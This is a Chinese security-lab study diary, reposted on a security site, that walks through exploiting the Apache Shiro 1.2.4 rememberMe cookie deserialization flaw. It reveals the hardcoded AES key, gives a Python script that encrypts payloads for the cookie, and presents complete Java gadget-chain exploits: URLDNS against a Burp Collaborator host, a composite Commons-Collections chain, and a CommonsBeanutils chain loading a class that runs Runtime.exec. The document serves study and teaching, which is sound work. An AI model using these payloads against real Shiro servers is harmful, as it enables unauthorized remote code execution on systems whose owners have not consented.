皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame Java 反序列化之 Shiro 反序列化

admin 2024年10月13日21:07:42评论19 views字数 19909阅读66分21秒阅读模式

~

Java 反序列化之 

Shiro 反序列化:

环境搭建:

https://github.com/apache/shiro.git

在 samples/web/目录下的 pom.xml 文件中修改版本:

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>

Shiro 漏洞分析:

在我们进行 Shiro 登录以后,我们发现勾选记住密码,在数据包中会返回一个 cookie 信息,于是我们猜测这个 cookie 的认证信息,有可能是通过反序列化序列化来进行传递的,所以我们就思考看看能不能找到他的逻辑:

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

然后我们就来查找一下源代码中的cookie是如何进行处理的,然后我们就全局搜索一个库项目和库中对cookie处理下类,然后我们就找到了shiro-web下面的一个CookieRememberMeMananger类:

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

然后我们在类中发现了一个方法,是用来获取返回包里 cookie 数据并进行 base64 解码,我们就找哪里调用了它:

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

然后我们就找到了 AbstractRememberMenManager 类下面的 getRememberedPrincipals 方法,这里又调用了 convertBytesToPrincipals,从字面意思上我们也能够知道是对字节信息的一个认证,然后我们跟进一下:

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

        return principals;
    }

可以发现 convertBytesToPrincipals 中对字节进行了解密和反序列化操作:

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

然后我们跟进两个方法发现 deserialize 其实是一个原生的反序列化的代码,而解密的地方是一个需要 key 的对称加密的解密,所以我们对照一下就会发现 getDecryptionCipherKey()函数的返回值其实就是我们需要的 key,我们就看一下它

protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }


public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {

可以发现这里返回的是一个常量,我们来找一下这个常量从哪里进行赋值的:

private byte[] decryptionCipherKey;
public byte[] getDecryptionCipherKey() {
    return decryptionCipherKey;
}
皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化
皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

然后我们一路跟进发现跟到了 setCipherKey 的方法,然后在调用 setCipherKey 的时候我们发现了常量:

public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

然后这个常量其实就是一个固定的值:

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

也就是说,在 Shiro1.2.4 这个版本当中呢,我们可以发现对 cookie 的任何加密都是一样的一个 key,算法其实就是一个 AES 加密的算法。

所以我们就来梳理一下我们的攻击流程,现在我们已经得到了 AES 加密算法的 key 和算法过程,我们就能够把我们想构造的序列化字符串进行 AES 加密,然后进行 base64 编码,然后放到能够反序列化的位置进行反序列化,然后我们就需要考虑应该用什么 payload 来进行攻击,即我们要攻击它的什么库:

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

比如这里我们可以发现存在 CC 的漏洞版本,但是这里是不能进行攻击的,因为在 Shiro 中他只是进行了库的依赖,没有 import 因此在真正的项目中是不存在 CC 链可以打的,所以这里我们还是先使用 JDK 本来的 URLDNS 链进行一个测试,来看一下漏洞的原理

package EXP;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {

    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        URL url=new URL("http://vpodxpp6sr0x7cdatw515g8d248uwj.burpcollaborator.net");


        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,1234);
        hashmap.put(url,1);

        hashcodefield.set(url,-1);
        serialize(hashmap);
    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
}

ShiroAES 加密:

import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
    with open(filename,'rb'as f:
        data = f.read()
    return data
def aes_enc(data):
    BS = AES.block_size
    pad = lambda s:s +((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext
def aes_dec(enc_data):
    enc_data = base64.b64encode(enc_data)
    unpad = lambda s : s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext
if __name__ == '__main__':
    data = get_file_data("ser.bin")
    print(aes_enc(data))
##YAYVY7DARXibfT6A/hXr3RFQeIZCzXDNgjhDNCDeE6EkNFytF25SjuuKVMGU38Oo/Ew3ehAiBXio6HVBJBihw/sJhghjkZN3nw018zqrm2AFueo4fjtjWmu0+QmReeFcIhaNAKKve4u9lIJsQNSrAU0Otx7joF43AwFAoMyY0nPZPK0X2Mk359o73Pb+t8EGeq/tuTozt2TUQYmo1bbTV3YARGExmBdGejDe+FaQgkOTKT/Byj0p0TtepY3t/PKn6bj2AEtIhqIXgKvUYbwVj04Vn8SxRITh7DxkNpDAXGZwU0NXA8sz5hWBndLvhpnZKiaaamSNK/wTHquPClSOcyrdiEZ8uy9UCvQa1JyewdU/YuKyETx4b8RVkOgUmSMCEwY75gzmPg2cgoj6gddgtBpALQa3e9fy4vce5aTWwNdX199vabzzFdGchwy/9JGIe15A4MsRunrVyobq75hmJwdSaaEuicn7mQSTMOeo6sHIzgBhikD7PGAHcubsOf/Cu1us/rIlCg04N5a5fJlXRw==

然后我们把得到的来进行一个替换,发现能够收到 DNS 请求,注意要删除 JSESSIONID

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

CC 攻击:

纯 CC 链失败原因:

因为上面没有引入Commons-Collection3.2.1的依赖,所以我们不能使用 CC 进行攻击,所以这里我们在对应的pom.xml上面加上对 CC3 版本的依赖,然后将 CC6 的payload进行 AES 加密以后提交看一下效果:

但是日志提示了报错,我们可以发现Transformer这个数组类并没有加载成功:

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

然后我们就来看一下触发反序列化是怎么实现的:我们可以发现这里反序列化触发的readObject函数是调用的ClassResolvingObjectInputStream,并不是调用的原生类ObjectInputStream里面的readObject函数。

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

所以我们来跟进一下这个类,我们可以发现这里重写了一个resolveClasss方法,在原生的Java反序列化中,会自动调用resolveClass方法,如果它进行了重写,就会调用到重写的方法,然后我们来前后对比一下这个重写的方法和原生之间的区别,可以发现在Shiro里面return的是ClassUtilforName方法,而ClassUtilShiro自己写的一个工具类

protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException
    {
        String name = desc.getName();
        try {
            return Class.forName(name, false, latestUserDefinedLoader());
        } catch (ClassNotFoundException ex) {
            Class<?> cl = primClasses.get(name);
            if (cl != null) {
                return cl;
            } else {
                throw ex;
            }
        }
    }
皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

然后我们设置断点来跟进一下 ClassUtils 类,可以看到里面加载类的时候是双亲委派原则去进行的加载和调用,问题的宏观表现是 ClassLoader 里面的 loadClass 不能够加载数组类,但是 class.forName 可以,所以这里的问题解决方法就是不出现数组类:

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

复合 CC 链构造:

  • 所以我们来改写一下CCexp版本,让他不出现数组类,即不调用ChainedTransformer然后我们就发现了 CC2 这一条攻击链并不存在数组类的调用,但是CC2攻击链是针对的CommonCollections4版本的TransformingComparator类下面的compare进行的利用,当前3.2.1版本并不存在,所以我们要进行一下改写:
皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化
  • 这里我们就要进行一下 CC 链的拼接,首先攻击方法不能够选择命令执行,因为没有数组类我们就无法控制变量,因此我们只能够选择任意类加载加载恶意类造成代码执行,所以这里后半条链就是任意类加载加上 InvokerTransform

  • 而前半条链我们可以发现在对 CC3.2.1 版本的攻击链中,只有 CC6 对应的 HashMap 中的 put 方法我们可以控制输入,所以我们就想通过 put 传入我们的恶意类,然后走通这一条攻击链。

  • 所以我们链子的拼接是这个形式:

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化
package EXP;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class ShiroExpCC326 {
    public static void main(String[] args) throws Exception {
//CC3
        TemplatesImpl Templates = new TemplatesImpl();
        Class tc = Templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(Templates, "aaa");

        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXP/Demo.class"));
        byte[][] codes = {code};
        bytecodeField.set(Templates, codes);
//CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer"null,null);

//CC6
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> Lazymap = LazyMap.decorate(map,new ConstantTransformer(1));


        //要通过TiedMapEntry里面getValue()方法来调用map[Lazymap].get(key[Templates])方法,从而传入      transform(key)来调用
        TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap,Templates);

        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        //同步上面的那个key,put完删掉防止链子走不通
        Lazymap.remove(Templates);

        Class c = LazyMap.class;
        Field factoryFied = c.getDeclaredField("factory");
        factoryFied.setAccessible(true);
        factoryFied.set(Lazymap,invokerTransformer);

        serialize(map2);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Demo.java:

package EXP;

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Demo extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        }catch (IOException e){
           e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

CB 攻击:

因为我们知道 Shiro 原生类中是不存在 CC 依赖的,所以当没有 CC 依赖的时候我们就无法通过 CC 来进行攻击,我们就需要另外找一个无依赖的方式对 Shiro 的反序列化漏洞进行利用:

通过 Shiro 自带的依赖Commons-beanutils进行攻击:

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

我们知道Commons-Collections是对Java集合做的一个功能增强,这里的Commons-beanutils是对JavaBean做的优化和提升。

JavaBean:

在 Java 中,有很多class的定义都符合这样的规范:

  • 若干private实例字段;
  • 通过public方法来读写实例字段。
package JavaBeanTest;

public class Person {
    private String name;
    private int age;
    public Person(String name,int age){
        this.name = name;
        this.age = age;
    }
    public String getName() return this.name; }
    public void setName(String name) this.name = name; }

    public int getAge() return this.age; }
    public void setAge(int age) this.age = age; }
}

如果读写方法符合以下这种命名规范:

// 读方法:
public Type getXyz()
// 写方法:
public void setXyz(Type value)

那么这种class被称为JavaBean,如果我们正常使用的话我们是这样进行使用的:

package JavaBeanTest;

public class BeanTest {
    public static void main(String[] args) throws Exception{
        Person person = new Person("aaa",10);
        System.out.println(person.getName());
    }
}

调用链:

而在 JavaBean 中,存在一种动态类的执行方式,通过字符串来进行动态加载,然后我们就有可能在这里实现一个代码执行,所以我们来跟进一下看看这个动态的执行方式究竟是如何实现的:

package JavaBeanTest;

import org.apache.commons.beanutils.PropertyUtils;

public class BeanTest {
    public static void main(String[] args) throws Exception{
        Person person = new Person("aaa",10);
        System.out.println(PropertyUtils.getProperty(person,"age"));
    }
}

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

我们一路跟进,可以发现在这个位置,对 age 转换为 Age 以后(驼峰命名:第一个属性值小写),调用了 Person 类中的 getAge 函数,所以下面进行了反射调用。

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化
皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

然后我们可以结合之前的 CC3 的链子中,在我们查找调用 newTransformer 的时候选择了 TrAXFliter 里面的方法调用,而另外存在一个 newTransformer 调用的方法 getOutputProperties,在 CC 中因为后续调用并不方便我们没用选择它,但是这个方法正好符合在 JavaBean 里面驼峰命名的一个形式,所以我们可以在 JavaBean 里面对他直接进行调用:

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化
package EXP;

import JavaBeanTest.Person;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ShiroCB {
    public static void main(String[] args) throws Exception {
//        Person person = new Person("aaa",10);
//        System.out.println(PropertyUtils.getProperty(person,"age"));
        TemplatesImpl templates = new TemplatesImpl();

        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXP/Demo.class"));
        byte[][] codes = {code};
        bytecodeField.set(templates, codes);
        PropertyUtils.getProperty(templates,"outputProperties");
    }
}

然后我们再来寻找哪里能够调用 PropertyUtils 类里面的 getProperty 方法,找到了 BeanCompared 类里面的 compare 方法中调用了这个函数,这里我们就可以联想到 CC2 里面的优先队列类中使用到了 compare,这里我们就可以进行拼接:

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化
皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

EXP 问题:

package EXP;

import JavaBeanTest.Person;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.serializer.OutputPropertyUtils;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXP/Demo.class"));
        byte[][] codes = {code};
        bytecodeField.set(templates, codes);


//PropertyUtils Properties = (PropertyUtils) PropertyUtils.getProperty(templates, "getOutputProperties");

        BeanComparator beanComparator = new BeanComparator("outputProperties");
//CC里面有,为了不报错,传入一个,反射的时候再修改回来
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);
//改回来:
        Class<PriorityQueue> c = PriorityQueue.class;
        Field comparetorFied = c.getDeclaredField("comparator");
        comparetorFied.setAccessible(true);
        comparetorFied.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

我们把用这个 exp 打发现并没有打通,这里查看日志发现了报错,报了一个 CC 的错,而我们并没有使用到 CC 链:

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

原因是 JavaBean 中有和 CC 重叠的地方,这里的 ComparableComparator 就是 CC 里面的东西,所以这里我们就不用这个构造函数了:

    public BeanComparator( String property ) {
        this( property, ComparableComparator.getInstance() );
    }

用一个自定义的构造函数,我们自己传一个 CB 或者 JDK 中有的 comparator,一方面要继承 Comparator 这个接口,另一方面要继承Serializable

public BeanComparator( String property, Comparator comparator ) {
        setProperty( property );
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }
    }

这里用一个取交集的脚本筛选一下:

with open('Comparator.txt'as f:
    data = f.readline()
    coms=[]
    while data:
        coms.append(data)
        data = f.readline()
with open('Serializable.txt'as d:
    data = d.readline()
    sers = []
    while data:
        sers.append(data)
        data = d.readline()
print(*[i for i in coms if i in sers])


AttrCompare
 BeanComparator
 BooleanComparator
 BooleanComparator
 CaseInsensitiveComparator (String )
 ComparableComparator
 ComparableComparator
 ComparatorChain
 ComparatorChain
 FixedOrderComparator
 FixedOrderComparator
 InsensitiveComparator (Headers )
 KeyAnalyzer
 LayoutComparator
 NaturalOrderComparator (Comparators )
 NullComparator (Comparators )
 NullComparator
 NullComparator
 PropertySorter (ClassInfoImpl )
 ReverseComparator (Collections )
 ReverseComparator
 ReverseComparator
 ReverseComparator2 (Collections )
 StringKeyAnalyzer
 TransformingComparator
 TransformingComparator
 TreeTransferHandler (BasicTreeUI )
 Block
 JavaClass
 NumericShaper
 ObjectStreamClass
 ShellFolder

然后我们直接加上一个自定义的类就可以成功了

ShiroCBexp:

package EXP;

import JavaBeanTest.Person;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import com.sun.org.apache.xml.internal.serializer.OutputPropertyUtils;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXP/Demo.class"));
        byte[][] codes = {code};
        bytecodeField.set(templates, codes);


//PropertyUtils Properties = (PropertyUtils) PropertyUtils.getProperty(templates, "getOutputProperties");

        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
//CC里面有,为了不报错,传入一个,反射的时候再修改回来
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);
//改回来:
        Class<PriorityQueue> c = PriorityQueue.class;
        Field comparetorFied = c.getDeclaredField("comparator");
        comparetorFied.setAccessible(true);
        comparetorFied.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

最后还是给出这两个对应的调用链过程:

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

附:ysoserial 中工具生成的 payload 有可能打不了,这里的原因是因为依赖库的版本问题:serialVersionUID 不匹配

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

在 ysoserial 中使用的是 commons-beanutils 使用的版本是 1.9.2 而我们使用的 CB 版本是 1.8.3,所以会报依赖版本不同的错误;

皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame  Java 反序列化之 Shiro 反序列化

原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame Java 反序列化之 Shiro 反序列化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日21:07:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   皮蛋厂的学习日记 2023.7.20 | Ic4_F1ame Java 反序列化之 Shiro 反序列化https://cn-sec.com/archives/1893506.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息